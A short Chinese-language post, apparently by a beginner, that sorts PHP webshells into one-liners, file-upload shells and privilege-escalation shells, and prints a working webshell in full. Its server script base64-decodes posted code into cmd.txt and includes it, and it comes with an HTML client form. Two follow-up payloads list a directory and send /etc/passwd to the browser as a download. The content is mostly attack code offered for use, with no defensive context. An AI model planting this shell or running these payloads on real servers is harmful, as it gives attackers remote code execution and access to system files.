我是菜牛各位看官轻喷。
PHP一句话主要实现的是,动态执行PHP代码。
PHP小马主要实现的是,文件上传。
PHP大马主要实现的是,提权。
include 语句包含并运行指定文件。
<?php
//服务端
if(!empty($_POST['code'])){
$code=trim($_POST['code']);
$handle=fopen('cmd.txt','w') or die('创建文件失败');
fputs($handle,base64_decode($code)) or die('写入文件失败');
fclose($handle);
if(file_exists('cmd.txt')){
include 'cmd.txt';
}
}
?>
<html>
<head><title>简易一句话客户端</title></head>
<body>
<form method='post' action='test2.php' name='fcode' target='_blank'
<textarea rows='15' cols='30' name='code'>
</textarea><br />
<input type='submit' value='submit' name='submit' />
<input type='reset' value='reset' name='reset' />
</form>
</body>
</html>
最后附上两个shellcode,一个用于目录遍历,一个用于文件下载。
<?php
//目录遍历
$d = dir("/tmp");
echo "Path: " . $d->path . "<br />";
while (false !== ($entry = $d->read())) {
echo $entry."<br />";
}
$d->close();
?>
<?php
//文件下载
$file = '/etc/passwd';
if (file_exists($file)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($file));
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);
exit;
}
?>